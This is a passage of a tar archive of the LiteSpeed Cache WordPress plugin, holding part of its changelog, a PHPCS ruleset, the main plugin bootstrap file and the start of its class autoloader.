* [API] Added version compare API.
* [API] Enhanced ESI API for third party plugins.
* [INTEGRATION] Compatibility with NextGEN Gallery v2.2.14.
* [INTEGRATION] Compatibility with Caldera Forms v1.5.6.2+.
* [BUGFIX] Fixed CDN&Minify compatibility with css url links.
* [BUGFIX] Fixed .htaccess being regenerated despite there being no changes.
* [BUGFIX] Fixed CDN path bug for subfolder WP instance.
* [BUGFIX] Fixed crawler path bug for subfolder WP instance with different site url and home url.
* [BUGFIX] Fixed a potential Optimizer generating redundant duplicated JS in HTML bug.
* [GUI] Added a more easily accessed submit button in admin settings.
* [GUI] Admin settings page cosmetic changes.
* [GUI] Reorganized GUI css/img folder structure.
* [REFACTOR] Refactored configuration init.
* [REFACTOR] Refactored admin setting save.
* [REFACTOR] Refactored .htaccess operator and rewrite rule generation.

= 1.2.3.1 - September 20 2017 =
* [UPDATE] Improved PHP5.3 compatibility.

= 1.2.3 - September 20 2017 =
* [NEW FEATURE] Added CDN support.
* [IMPROVEMENT] Improved compatibility when upgrading by fixing a possible fatal error.
* [IMPROVEMENT] Added support for custom wp-content paths.
* [BUGFIX] Fixed non-primary network blogs not being able to minify.
* [BUGFIX] Fixed HTML Minify preventing Facebook from being able to parse og tags.
* [BUGFIX] Preview page is no longer cacheable.
* [BUGFIX] Corrected log and crawler timezone to match set WP timezone.
* [GUI] Revamp of plugin GUI.

= 1.2.2 - September 15 2017 =
* [NEW FEATURE] Added CSS/JS minification.
* [NEW FEATURE] Added CSS/JS combining.
* [NEW FEATURE] Added CSS/JS HTTP/2 server push.
* [NEW FEATURE] Added HTML minification.
* [NEW FEATURE] Added CSS/JS cache purge button in management.
* [UPDATE] Improved debug log formatting.
* [UPDATE] Fixed some description typos.

= 1.2.1 - September 7 2017 =
* [NEW FEATURE] Added Database Optimizer.
* [NEW FEATURE] Added Tab switch shortcut.
* [IMPROVEMENT] Added cache disabled check for management pages.
* [IMPROVEMENT] Renamed .htaccess backup for security.
* [BUGFIX] Fixed woocommerce default ESI setting bug.
* [REFACTOR] Show ESI page for OLS with notice.
* [REFACTOR] Management Purge GUI updated.

= 1.2.0.1 - September 1 2017 =
* [BUGFIX] Fixed a naming bug for network constant ON2.

= 1.2.0 - September 1 2017 =
* [NEW FEATURE] Added ESI support.
* [NEW FEATURE] Added a private cache TTL setting.
* [NEW FEATURE] Debug level can now be set to either 'Basic' or 'Advanced'.
* [REFACTOR] Renamed const 'NOTSET' to 'ON2' in class config.

= 1.1.6 - August 23 2017 =
* [NEW FEATURE] Added option to privately cache logged-in users.
* [NEW FEATURE] Added option to privately cache commenters.
* [NEW FEATURE] Added option to cache requests made through WordPress REST API.
* [BUGFIX] Fixed network 3rd-party full-page cache detection bug.
* [GUI] New Cache and Purge menus in Settings.

= 1.1.5.1 - August 16 2017 =
* [IMPROVEMENT] Improved compatibility of frontend&backend .htaccess path detection when site url is different than installation path.
* [UPDATE] Removed unused format string from header tags.
* [BUGFIX] 'showheader' Admin Query String now works.
* [REFACTOR] Cache tags will no longer output if not needed.

= 1.1.5 - August 10 2017 =
* [NEW FEATURE] Scheduled Purge URLs feature.
* [NEW FEATURE] Added buffer callback to improve compatibility with some plugins that force buffer cleaning.
* [NEW FEATURE] Hide purge_all admin bar quick link if cache is disabled.
* [NEW FEATURE] Required htaccess rules are now displayed when .htaccess is not writable.
* [NEW FEATURE] Debug log features: filter log support; heartbeat control; log file size limit; log viewer.
* [IMPROVEMENT] Separate crawler access log.
* [IMPROVEMENT] Lazy PURGE requests made after output are now queued and working.
* [IMPROVEMENT] Improved readme.txt with keywords relating to our compatible plugins list.
* [UPDATE] 'ExpiresDefault' conflict msg is now closeable and only appears in the .htaccess edit screen.
* [UPDATE] Improved debug log formatting.
* [INTEGRATION] Compatibility with MainWP plugin.
* [BUGFIX] Fixed WooCommerce order not purging product stock quantity.
* [BUGFIX] Fixed WooCommerce scheduled sale price not updating issue.
* [REFACTOR] Combined cache_enable functions into a single function.

= 1.1.4 - August 1 2017 =
* [IMPROVEMENT] Unexpected rewrite rules will now show an error message.
* [IMPROVEMENT] Added Cache Tag Prefix setting info in the Env Report and Info page.
* [IMPROVEMENT] LSCWP setting link is now displayed in the plugin list.
* [IMPROVEMENT] Improved performance when setting cache control.
* [UPDATE] Added backward compatibility for v1.1.2.2 API calls. (used by 3rd-party plugins)
* [BUGFIX] Fixed WPCLI purge tag/category never succeeding.

= 1.1.3 - July 31 2017 =
* [NEW FEATURE] New LiteSpeed_Cache_API class and documentation for 3rd party integration.
* [NEW FEATURE] New API function litespeed_purge_single_post($post_id).
* [NEW FEATURE] PHP CLI support for crawler.
* [IMPROVEMENT] Set 'no cache' for same location 301 redirects.
* [IMPROVEMENT] Improved LiteSpeed footer comment compatibility.
* [UPDATE] Removed 'cache tag prefix' setting.
* [BUGFIX] Fixed a bug involving CLI purge all.
* [BUGFIX] Crawler now honors X-LiteSpeed-Cache-Control for the 'no-cache' header.
* [BUGFIX] Cache/rewrite rules are now cleared when the plugin is uninstalled.
* [BUGFIX] Prevent incorrect removal of the advanced-cache.php on deactivation if it was added by another plugin.
* [BUGFIX] Fixed subfolder WP installations being unable to Purge By URL using a full URL path.
* [REFACTOR] Reorganized existing code for an upcoming ESI release.

= 1.1.2.2 - July 13 2017 =
* [BUGFIX] Fixed blank page in Hebrew language post editor by removing unused font-awesome and jquery-ui css libraries.

= 1.1.2.1 - July 5 2017 =
* [UPDATE] Improved compatibility with WooCommerce v3.1.0.

= 1.1.2 - June 20 2017 =
* [BUGFIX] Fixed missing form close tag.
* [UPDATE] Added a wiki link for enabling the crawler.
* [UPDATE] Improved Site IP description.
* [UPDATE] Added an introduction to the crawler on the Information page.
* [REFACTOR] Added more detailed error messages for Site IP and Custom Sitemap settings.

= 1.1.1.1 - June 15 2017 =
* [BUGFIX] Hotfix for insufficient validation of site IP value in crawler settings.

= 1.1.1 - June 15 2017 =
* [NEW] As of LiteSpeed Web Server v.5.1.16, the crawler can now be enabled/disabled at the server level.
* [NEW] Added the ability to provide a custom sitemap for crawling.
* [NEW] Added ability to use site IP address directly in crawler settings.
* [NEW] Crawler performance improved with the use of new custom user agent 'lsrunner'.
* [NEW] "Purge By URLs" now supports full URL paths.
* [NEW] Added thirdparty WP-PostRatings compatibility.
* [BUGFIX] Cache is now cleared when changing post status from published to draft.
* [BUGFIX] WHM activation message no longer continues to reappear after being dismissed.
* [COSMETIC] Display recommended values for settings.

= 1.1.0.1 - June 8 2017 =
* [UPDATE] Improved default crawler interval setting.
* [UPDATE] Tested up to WP 4.8.
* [BUGFIX] Fixed compatibility with plugins that output json data.
* [BUGFIX] Fixed tab switching bug.
* [BUGFIX] Removed occasional duplicated messages on save.
* [COSMETIC] Improved crawler tooltips and descriptions.

= 1.1.0 - June 6 2017 =
* [NEW] Added a crawler - this includes configuration options and a dedicated admin page. Uses wp-cron
* [NEW] Added integration for WPLister
* [NEW] Added integration for Avada
* [UPDATE] General structure of the plugin revamped
* [UPDATE] Improved look of admin pages
* [BUGFIX] Fix any/all wp-content path retrieval issues
* [BUGFIX] Use realpath to clear symbolic link when determining .htaccess paths
* [BUGFIX] Fixed a bug where upgrading multiple plugins did not trigger a purge all
* [BUGFIX] Fixed a bug where cli import_options did not actually update the options.
* [REFACTOR] Most of the files in the code were split into more, smaller files

= 1.0.15 - April 20 2017 =
* [NEW] Added Purge Pages and Purge Recent Posts Widget pages options.
* [NEW] Added wp-cli command for setting and getting options.
* [NEW] Added an import/export options cli command.
* [NEW] Added wpForo integration.
* [NEW] Added Theme My Login integration.
* [UPDATE] Purge adjacent posts when publish a new post.
* [UPDATE] Change environment report file to .php and increase security.
* [UPDATE] Added new purgeby option to wp-cli.
* [UPDATE] Remove nag for multiple sites.
* [UPDATE] Only inject LiteSpeed javascripts in LiteSpeed pages.
* [REFACTOR] Properly check for zero in ttl settings.
* [BUGFIX] Fixed the 404 issue that can be caused by some certain plugins when save the settings.
* [BUGFIX] Fixed mu-plugin compatibility.
* [BUGFIX] Fixed problem with creating zip backup.
* [BUGFIX] Fixed conflict with jetpack.

= 1.0.14.1 - January 31 2017 =
* [UPDATE] Removed Freemius integration due to feedback.

= 1.0.14 - January 30 2017 =
* [NEW] Added error page caching. Currently supports 403, 404, 500s.
* [NEW] Added a purge errors action.
* [NEW] Added wp-cli integration.
* [UPDATE] Added support for multiple varies.
* [UPDATE] Reorganize the admin interface to be less cluttered.
* [UPDATE] Add support for LiteSpeed Web ADC.
* [UPDATE] Add Freemius integration.
* [REFACTOR] Made some changes so that the rewrite rules are a little more consistent.
* [BUGFIX] Check member type before adding purge all button.
* [BUGFIX] Fixed a bug where activating/deactivating the plugin quickly caused the WP_CACHE error to show up.
* [BUGFIX] Handle more characters in the rewrite parser.
* [BUGFIX] Correctly purge posts when they are made public/private.

= 1.0.13.1 - November 30 2016 =
* [BUGFIX] Fixed a bug where a global was being used without checking existence first, causing unnecessary log entries.

= 1.0.13 - November 28 2016 =
* [NEW] Add an Empty Entire Cache button.
* [NEW] Add stale logic to certain purge actions.
* [NEW] Add option to use primary site settings for all subsites in a multisite environment.
* [NEW] Add support for Aelia CurrencySwitcher
* [UPDATE] Add logic to allow third party vary headers
* [UPDATE] Handle password protected pages differently.
* [BUGFIX] Fixed bug caused by saving settings.
* [BUGFIX] FIxed bug when searching for advanced-cache.php

= 1.0.12 - November 14 2016 =
* [NEW] Added logic to generate environment reports.
* [NEW] Created a notice that will be triggered when the WHM Plugin installs this plugin. This will notify users when the plugin is installed by their server admin.
* [NEW] Added the option to cache 404 pages via 404 Page TTL setting.
* [NEW] Reworked log system to be based on selection of yes or no instead of log level.
* [NEW] Added support for Autoptimize.
* [NEW] Added Better WP Minify integration.
* [UPDATE] On plugin disable, clear .htaccess.
* [UPDATE] Introduced URL tag. Changed Purge by URL to use this new tag.
* [BUGFIX] Fixed a bug triggered when .htaccess files were empty.
* [BUGFIX] Correctly determine when to clear files in multisite environments (wp-config, advanced-cache, etc.).
* [BUGFIX] When disabling the cache, settings changed in the same save will now be saved.
* [BUGFIX] Various bugs from setting changes and multisite fixed.
* [BUGFIX] Fixed two bugs with the .htaccess path search.
* [BUGFIX] Do not alter $_GET in add_quick_purge. This may cause issues for functionality occurring later in the same request.
* [BUGFIX] Right to left radio settings were incorrectly displayed. The radio buttons themselves were the opposite direction of the associated text.

= 1.0.11 - October 11 2016 =
* [NEW] The plugin will now set cachelookup public on.
* [NEW] New option - check advanced-cache.php. This enables users to have two caching plugins enabled at the same time as long as the other plugin is not used for caching purposes. For example, using another cache plugin for css/js minification.
* [UPDATE] Rules added by the plugin will now be inserted into an LSCACHE START/END PLUGIN comment block.
* [UPDATE] For woocommerce pages, if a user visits a non-cached page with a non-empty cart, do not cache the page.
* [UPDATE] If woocommerce needs to display any notice, do not cache the page.
* [UPDATE] Single site settings are now in both the litespeed cache submenu and the settings submenu.
* [BUGFIX] Multisite network options were not updated on upgrade. This is now corrected.

= 1.0.10 - September 16 2016 =
* Added a check for LSCACHE_NO_CACHE definition.
* Added a Purge All button to the admin bar.
* Added logic to purge the cache when upgrading a plugin or theme. By default this is enabled on single site installations and disabled on multisite installations.
* Added support for WooCommerce Versions < 2.5.0.
* Added .htaccess backup rotation. Every 10 backups, an .htaccess archive will be created. If one already exists, it will be overwritten.
* Moved some settings to the new Specific Pages tab to reduce clutter in the General tab.
* The .htaccess editor is now disabled if DISALLOW_FILE_EDIT is set.
* After saving the Cache Tag Prefix setting, all cache will be purged.

= 1.0.9.1 - August 26 2016 =
* Fixed a bug where an error displayed on the configuration screen despite not being an error.
* Change logic to check .htaccess file less often.

= 1.0.9 - August 25 2016 =
* [NEW] Added functionality to cache and purge feeds.
* [NEW] Added cache tag prefix setting to avoid conflicts when using LiteSpeed Cache for WordPress with LiteSpeed Cache for XenForo and LiteMage.
* [NEW] Added hooks to allow third party plugins to create config options.
* [NEW] Added WooCommerce config options.
* The plugin now also checks for wp-config in the parent directory.
* Improved WooCommerce support.
* Changed .htaccess backup process. Will create a .htaccess_lscachebak_orig file if one does not exist. If it does already exist, creates a backup using the date and timestamp.
* Fixed a bug where get_home_path() sometimes returned an invalid path.
* Fixed a bug where if the .htaccess was removed from a WordPress subdirectory, it was not handled properly.

= 1.0.8.1 - July 28 2016 =
* Fixed a bug where check cacheable was sometimes not hit.
* Fixed a bug where extra slashes in clear rules were stripped.

= 1.0.8 - July 25 2016 =
* Added purge all on update check to purge by post id logic.
* Added uninstall logic.
* Added configuration for caching favicons.
* Added configuration for caching the login page.
* Added configuration for caching php resources (scripts/stylesheets accessed as .php).
* Set login cookie if user is logged in and it isn’t set.
* Improved NextGenGallery support to include new actions.
* Now displays a notice on the network admin if WP_CACHE is not set.
* Fixed a few php syntax issues.
* Fixed a bug where purge by pid didn’t work.
* Fixed a bug where the Network Admin settings were shown when the plugin was active in a subsite, but not network active.
* Fixed a bug where the Advanced Cache check would sometimes not work.

= 1.0.7.1 - May 26 2016 =
* Fixed a bug where enabling purge all in the auto purge on update settings page did not purge the correct blogs.
* Fixed a bug reported by user wpc on our forums where enabling purge all in the auto purge on update settings page caused nothing to be cached.

= 1.0.7 - May 24 2016 =
* Added login cookie configuration to the Advanced Settings page.
* Added support for WPTouch plugin.
* Added support for WP-Polls plugin.
* Added Like Dislike Counter third party integration.
* Added support for Admin IP Query String Actions.
* Added confirmation pop up for purge all.
* Refactor: LiteSpeed_Cache_Admin is now split into LiteSpeed_Cache_Admin, LiteSpeed_Cache_Admin_Display, and LiteSpeed_Cache_Admin_Rules
* Refactor: Rename functions to accurately represent their functionality
* Fixed a bug that sometimes caused a “no valid header” error message.

= 1.0.6 - May 5 2016 =
* Fixed a bug reported by Knut Sparhell that prevented dashboard widgets from being opened or closed.
* Fixed a bug reported by Knut Sparhell that caused problems with https support for admin pages.

= 1.0.5 - April 26 2016 =
* [BETA] Added NextGen Gallery plugin support.
* Added third party plugin integration.
* Improved cache tag system.
* Improved formatting for admin settings pages.
* Converted bbPress to use the new third party integration system.
* Converted WooCommerce to use the new third party integration system.
* If .htaccess is not writable, disable separate mobile view and do not cache cookies/user agents.
* Cache is now automatically purged when disabled.
* Fixed a bug where .htaccess was not checked properly when adding common rules.
* Fixed a bug where multisite setups would be completely purged when one site requested a purge all.

= 1.0.4 - April 7 2016 =
* Added logic to cache commenters.
* Added htaccess backup to the install script.
* Added an htaccess editor in the wp-admin dashboard.
* Added do not cache user agents.
* Added do not cache cookies.
* Created new LiteSpeed Cache Settings submenu entries.
* Implemented Separate Mobile View.
* Modified WP_CACHE not defined message to only show up for users who can manage options.
* Moved enabled all/disable all from network management to network settings.
* Fixed a bug where WP_CACHE was not defined on activation if it was commented out.

= 1.0.3 - March 23 2016 =
* Added a Purge Front Page button to the LiteSpeed Cache Management page.
* Added a Default Front Page TTL option to the general settings.
* Added ability to define web application specific cookie names through rewrite rules to handle logged-in cookie conflicts when using multiple web applications. <strong>[Requires LSWS 5.0.15+]</strong>
* Improved WooCommerce handling.
* Fixed a bug where activating lscwp sets the “enable cache” radio button to enabled, but the cache was not enabled by default.
* Refactored code to make it cleaner.
* Updated readme.txt.

= 1.0.2 - March 11 2016 =
* Added a "Use Network Admin Setting" option for "Enable LiteSpeed Cache". For single sites, this choice will default to enabled.
* Added enable/disable all buttons for network admin. This controls the setting of all managed sites with "Use Network Admin Setting" selected for "Enable LiteSpeed Cache".
* Exclude by Category/Tag are now text areas to avoid slow load times on the LiteSpeed Cache Settings page for sites with a large number of categories/tags.
* Added a new line to advanced-cache.php to allow identification as a LiteSpeed Cache file.
* Activation/Deactivation are now better handled in multi-site environments.
* Enable LiteSpeed Cache setting is now a radio button selection instead of a single checkbox.
* Can now add '$' to the end of a URL in Exclude URI to perform an exact match.
* The _lscache_vary cookie will now be deleted upon logout.
* Fixed a bug in multi-site setups that would cause a "function already defined" error.

= 1.0.1 - March 8 2016 =
* Added Do Not Cache by URI, by Category, and by Tag.  URI is a prefix/string equals match.
* Added a help tab for plugin compatibilities.
* Created logic for other plugins to purge a single post if updated.
* Fixed a bug where woocommerce pages that display the cart were cached.
* Fixed a bug where admin menus in multi-site setups were not correctly displayed.
* Fixed a bug where logged in users were served public cached pages.
* Fixed a compatibility bug with bbPress.  If there is a new forum/topic/reply, the parent pages will now be purged as well.
* Fixed a bug that didn't allow cron job to update scheduled posts.

= 1.0.0 - January 20 2016 =
* Initial Release.
litespeed-wp-plugin/7.5.0.1/litespeed-cache/phpcs.ruleset.xml000064400000005301151031165260017607 0ustar00<?xml version="1.0"?>
<ruleset name="CustomWordPress">
    <description>WordPress with no whitespace changes and relaxed rules</description>
    <rule ref="WordPress" />
    <rule ref="WordPress.WhiteSpace">
        <severity>0</severity>
    </rule>
    <rule ref="Generic.WhiteSpace">
        <severity>0</severity>
    </rule>
    <rule ref="Squiz.WhiteSpace">
        <severity>0</severity>
    </rule>
    <rule ref="PEAR.WhiteSpace">
        <severity>0</severity>
    </rule>
    <rule ref="WordPress.Arrays">
        <severity>0</severity>
    </rule>
    <rule ref="Generic.Functions.FunctionCallArgumentSpacing">
        <severity>0</severity>
    </rule>
    <rule ref="Squiz.Arrays.ArrayDeclaration">
        <severity>0</severity>
    </rule>
    <rule ref="Squiz.Functions.MultiLineFunctionDeclaration">
        <severity>0</severity>
    </rule>
    <rule ref="PEAR.Functions.FunctionCallSignature">
        <severity>0</severity>
    </rule>
    <rule ref="Generic.WhiteSpace.LanguageConstructSpacing">
        <severity>0</severity>
    </rule>
    <rule ref="Generic.Functions.CallTimePassByReference">
        <severity>0</severity>
        <exclude name="Generic.Functions.CallTimePassByReference" />
    </rule>
    <rule ref="Squiz.WhiteSpace.LanguageConstructSpacing">
        <severity>0</severity>
        <exclude name="Squiz.WhiteSpace.LanguageConstructSpacing" />
    </rule>
    <rule ref="Squiz.WhiteSpace.PropertyLabelSpacing">
        <severity>0</severity>
        <exclude name="Squiz.WhiteSpace.PropertyLabelSpacing" />
    </rule>
    <rule ref="WordPress.Files.FileName">
        <severity>0</severity>
    </rule>
    <rule ref="WordPress-Docs">
        <severity>0</severity>
    </rule>
    <rule ref="PSR2.Classes.PropertyDeclaration.Underscore">
        <exclude name="PSR2.Classes.PropertyDeclaration.Underscore"/>
    </rule>
    <rule ref="PSR2.Methods.MethodDeclaration.Underscore">
        <exclude name="PSR2.Methods.MethodDeclaration.Underscore"/>
    </rule>
    <rule ref="Universal.Arrays.DisallowShortArraySyntax">
        <severity>0</severity>
        <exclude name="Universal.Arrays.DisallowShortArraySyntax.Found"/>
    </rule>
    <rule ref="Squiz.PHP.CommentedOutCode">
        <severity>0</severity>
    </rule>
    <rule ref="Squiz.Commenting.InlineComment">
        <severity>0</severity>
    </rule>
    <rule ref="WordPress.WP.I18n">
        <severity>0</severity>
    </rule>
    <rule ref="WordPress.Security" />
    <rule ref="WordPress.NamingConventions" />
    <rule ref="WordPress.PHP" />
    <file>cli/</file>
    <file>lib/</file>
    <file>src/</file>
    <file>tpl/</file>
    <file>thirdparty/</file>
    <file>autoload.php</file>
    <file>litespeed-cache.php</file>
</ruleset>litespeed-wp-plugin/7.5.0.1/litespeed-cache/litespeed-cache.php000064400000017557151031165260020036 0ustar00<?php
/**
 * Plugin Name:       LiteSpeed Cache
 * Plugin URI:        https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration
 * Description:       High-performance page caching and site optimization from LiteSpeed
 * Version:           7.5.0.1
 * Author:            LiteSpeed Technologies
 * Author URI:        https://www.litespeedtech.com
 * License:           GPLv3
 * License URI:       https://www.gnu.org/licenses/gpl-3.0.html
 * Text Domain:       litespeed-cache
 * Domain Path:       /lang
 *
 * @package           LiteSpeed
 *
 * Copyright (C) 2015-2025 LiteSpeed Technologies, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

defined( 'WPINC' ) || exit();

if ( defined( 'LSCWP_V' ) ) {
	return;
}

! defined( 'LSCWP_V' ) && define( 'LSCWP_V', '7.5.0.1' );

! defined( 'LSCWP_CONTENT_DIR' ) && define( 'LSCWP_CONTENT_DIR', WP_CONTENT_DIR );
! defined( 'LSCWP_DIR' ) && define( 'LSCWP_DIR', __DIR__ . '/' ); // Full absolute path '/var/www/html/***/wp-content/plugins/litespeed-cache/' or MU
! defined( 'LSCWP_BASENAME' ) && define( 'LSCWP_BASENAME', 'litespeed-cache/litespeed-cache.php' ); // LSCWP_BASENAME='litespeed-cache/litespeed-cache.php'

/**
 * This needs to be before activation because admin-rules.class.php need const `LSCWP_CONTENT_FOLDER`
 * This also needs to be before cfg.cls init because default cdn_included_dir needs `LSCWP_CONTENT_FOLDER`
 *
 * @since  5.2 Auto correct protocol for CONTENT URL
 */
$wp_content_url = WP_CONTENT_URL;
$site_url       = site_url( '/' );
if ( 'http:' === substr( $wp_content_url, 0, 5 ) && 'https' === substr( $site_url, 0, 5 ) ) {
	$wp_content_url = str_replace( 'http://', 'https://', $wp_content_url );
}
! defined( 'LSCWP_CONTENT_FOLDER' ) && define( 'LSCWP_CONTENT_FOLDER', str_replace( $site_url, '', $wp_content_url ) ); // `wp-content`
unset( $site_url );
! defined( 'LSWCP_PLUGIN_URL' ) && define( 'LSWCP_PLUGIN_URL', plugin_dir_url( __FILE__ ) ); // Full URL path '//example.com/wp-content/plugins/litespeed-cache/'

/**
 * Static cache files consts
 *
 * @since  3.0
 */
! defined( 'LITESPEED_DATA_FOLDER' ) && define( 'LITESPEED_DATA_FOLDER', 'litespeed' );
! defined( 'LITESPEED_STATIC_URL' ) && define( 'LITESPEED_STATIC_URL', $wp_content_url . '/' . LITESPEED_DATA_FOLDER ); // Full static cache folder URL '//example.com/wp-content/litespeed'
unset( $wp_content_url );
! defined( 'LITESPEED_STATIC_DIR' ) && define( 'LITESPEED_STATIC_DIR', LSCWP_CONTENT_DIR . '/' . LITESPEED_DATA_FOLDER ); // Full static cache folder path '/var/www/html/***/wp-content/litespeed'

! defined( 'LITESPEED_TIME_OFFSET' ) && define( 'LITESPEED_TIME_OFFSET', get_option( 'gmt_offset' ) * 60 * 60 );

// Placeholder for lazyload img
! defined( 'LITESPEED_PLACEHOLDER' ) && define( 'LITESPEED_PLACEHOLDER', 'data:image/gif;base64,R0lGODdhAQABAPAAAMPDwwAAACwAAAAAAQABAAACAkQBADs=' );

// Auto register LiteSpeed classes
require_once LSCWP_DIR . 'autoload.php';

// Define CLI
if ( ( defined( 'WP_CLI' ) && constant('WP_CLI') ) || 'cli' === PHP_SAPI ) {
	! defined( 'LITESPEED_CLI' ) && define( 'LITESPEED_CLI', true );

	// Register CLI cmd
	if ( method_exists( 'WP_CLI', 'add_command' ) ) {
		WP_CLI::add_command( 'litespeed-option', 'LiteSpeed\CLI\Option' );
		WP_CLI::add_command( 'litespeed-purge', 'LiteSpeed\CLI\Purge' );
		WP_CLI::add_command( 'litespeed-online', 'LiteSpeed\CLI\Online' );
		WP_CLI::add_command( 'litespeed-image', 'LiteSpeed\CLI\Image' );
		WP_CLI::add_command( 'litespeed-debug', 'LiteSpeed\CLI\Debug' );
		WP_CLI::add_command( 'litespeed-presets', 'LiteSpeed\CLI\Presets' );
		WP_CLI::add_command( 'litespeed-crawler', 'LiteSpeed\CLI\Crawler' );
		WP_CLI::add_command( 'litespeed-database', 'LiteSpeed\CLI\Database' );
	}
}

// Server type
if ( ! defined( 'LITESPEED_SERVER_TYPE' ) ) {
	$http_x_lscache  = isset( $_SERVER['HTTP_X_LSCACHE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_LSCACHE'] ) ) : '';
	$lsws_edition    = isset( $_SERVER['LSWS_EDITION'] ) ? sanitize_text_field( wp_unslash( $_SERVER['LSWS_EDITION'] ) ) : '';
	$server_software = isset( $_SERVER['SERVER_SOFTWARE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) ) : '';

	if ( $http_x_lscache ) {
		define( 'LITESPEED_SERVER_TYPE', 'LITESPEED_SERVER_ADC' );
	} elseif ( 0 === strpos( $lsws_edition, 'Openlitespeed' ) ) {
		define( 'LITESPEED_SERVER_TYPE', 'LITESPEED_SERVER_OLS' );
	} elseif ( 'LiteSpeed' === $server_software ) {
		define( 'LITESPEED_SERVER_TYPE', 'LITESPEED_SERVER_ENT' );
	} else {
		define( 'LITESPEED_SERVER_TYPE', 'NONE' );
	}
}

// Checks if caching is allowed via server variable
if ( ! empty( $_SERVER['X-LSCACHE'] ) || 'LITESPEED_SERVER_ADC' === LITESPEED_SERVER_TYPE || defined( 'LITESPEED_CLI' ) ) {
	! defined( 'LITESPEED_ALLOWED' ) && define( 'LITESPEED_ALLOWED', true );
}

// ESI const definition
if ( ! defined( 'LSWCP_ESI_SUPPORT' ) ) {
	define( 'LSWCP_ESI_SUPPORT', LITESPEED_SERVER_TYPE !== 'LITESPEED_SERVER_OLS' );
}

if ( ! defined( 'LSWCP_TAG_PREFIX' ) ) {
	define( 'LSWCP_TAG_PREFIX', substr( md5( LSCWP_DIR ), -3 ) );
}

if ( ! function_exists( 'litespeed_exception_handler' ) ) {
	/**
	 * Handle exception
	 *
	 * @param int    $errno   Error number.
	 * @param string $errstr  Error string.
	 * @param string $errfile Error file.
	 * @param int    $errline Error line.
	 * @throws \ErrorException When an error is encountered.
	 */
	function litespeed_exception_handler( $errno, $errstr, $errfile, $errline ) {
		throw new \ErrorException(
			esc_html( $errstr ),
			0,
			absint( $errno ),
			esc_html( $errfile ),
			absint( $errline )
		);
	}
}

if ( ! function_exists( 'litespeed_define_nonce_func' ) ) {
	/**
	 * Overwrite the WP nonce funcs outside of LiteSpeed namespace
	 *
	 * @since  3.0
	 */
	function litespeed_define_nonce_func() {
		/**
		 * If the nonce is in none_actions filter, convert it to ESI
		 *
		 * @param mixed $action Action name or -1.
		 * @return string
		 */
		function wp_create_nonce( $action = -1 ) {
			if ( ! defined( 'LITESPEED_DISABLE_ALL' ) || ! LITESPEED_DISABLE_ALL ) {
				$control = \LiteSpeed\ESI::cls()->is_nonce_action( $action );
				if ( null !== $control ) {
					$params = array(
						'action' => $action,
					);
					return \LiteSpeed\ESI::cls()->sub_esi_block( 'nonce', 'wp_create_nonce ' . $action, $params, $control, true, true, true );
				}
			}

			return wp_create_nonce_litespeed_esi( $action );
		}

		/**
		 * Ori WP wp_create_nonce
		 *
		 * @param mixed $action Action name or -1.
		 * @return string
		 */
		function wp_create_nonce_litespeed_esi( $action = -1 ) {
			$uid = get_current_user_id();
			if ( ! $uid ) {
				/** This filter is documented in wp-includes/pluggable.php */
				$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
			}

			$token = wp_get_session_token();
			$i     = wp_nonce_tick();

			return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
		}
	}
}

if ( ! function_exists( 'run_litespeed_cache' ) ) {
	/**
	 * Begins execution of the plugin.
	 *
	 * @since    1.0.0
	 */
	function run_litespeed_cache() {
		// Check minimum PHP requirements, which is 7.2 at the moment.
		if ( version_compare( PHP_VERSION, '7.2.0', '<' ) ) {
			return;
		}

		// Check minimum WP requirements, which is 5.3 at the moment.
		if ( version_compare( $GLOBALS['wp_version'], '5.3', '<' ) ) {
			return;
		}

		\LiteSpeed\Core::cls();
	}

	run_litespeed_cache();
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/typos.toml000064400000000121151031165260016334 0ustar00[files]
extend-exclude = [
  "**",
  "!cli/**",
  "!tpl/**",
  "!autoload.php"
]
litespeed-wp-plugin/7.5.0.1/litespeed-cache/autoload.php000064400000006650151031165260016617 0ustar00<?php
/**
 * Auto registration for LiteSpeed classes
 *
 * @package LiteSpeed
 * @since       1.1.0
 */

defined('WPINC') || exit();

// Force define for object cache usage before plugin init
!defined('LSCWP_DIR') && define('LSCWP_DIR', __DIR__ . '/'); // Full absolute path '/var/www/html/***/wp-content/plugins/litespeed-cache/' or MU

// Load all classes instead of autoload for direct conf update purpose when upgrade to new version.
// NOTE: These files need to load exactly in order
$litespeed_php_files = array(
	// core file priority
	'src/root.cls.php',
	'src/base.cls.php',

	// main src files
	'src/activation.cls.php',
	'src/admin-display.cls.php',
	'src/admin-settings.cls.php',
	'src/admin.cls.php',
	'src/api.cls.php',
	'src/avatar.cls.php',
	'src/cdn.cls.php',
	'src/cloud.cls.php',
	'src/conf.cls.php',
	'src/control.cls.php',
	'src/core.cls.php',
	'src/crawler-map.cls.php',
	'src/crawler.cls.php',
	'src/css.cls.php',
	'src/data.cls.php',
	'src/db-optm.cls.php',
	'src/debug2.cls.php',
	'src/doc.cls.php',
	'src/error.cls.php',
	'src/esi.cls.php',
	'src/file.cls.php',
	'src/gui.cls.php',
	'src/health.cls.php',
	'src/htaccess.cls.php',
	'src/img-optm.cls.php',
	'src/import.cls.php',
	'src/import.preset.cls.php',
	'src/lang.cls.php',
	'src/localization.cls.php',
	'src/media.cls.php',
	'src/metabox.cls.php',
	'src/object-cache.cls.php',
	'src/optimize.cls.php',
	'src/optimizer.cls.php',
	'src/placeholder.cls.php',
	'src/purge.cls.php',
	'src/report.cls.php',
	'src/rest.cls.php',
	'src/router.cls.php',
	'src/str.cls.php',
	'src/tag.cls.php',
	'src/task.cls.php',
	'src/tool.cls.php',
	'src/ucss.cls.php',
	'src/utility.cls.php',
	'src/vary.cls.php',
	'src/vpi.cls.php',

	// Extra CDN cls files
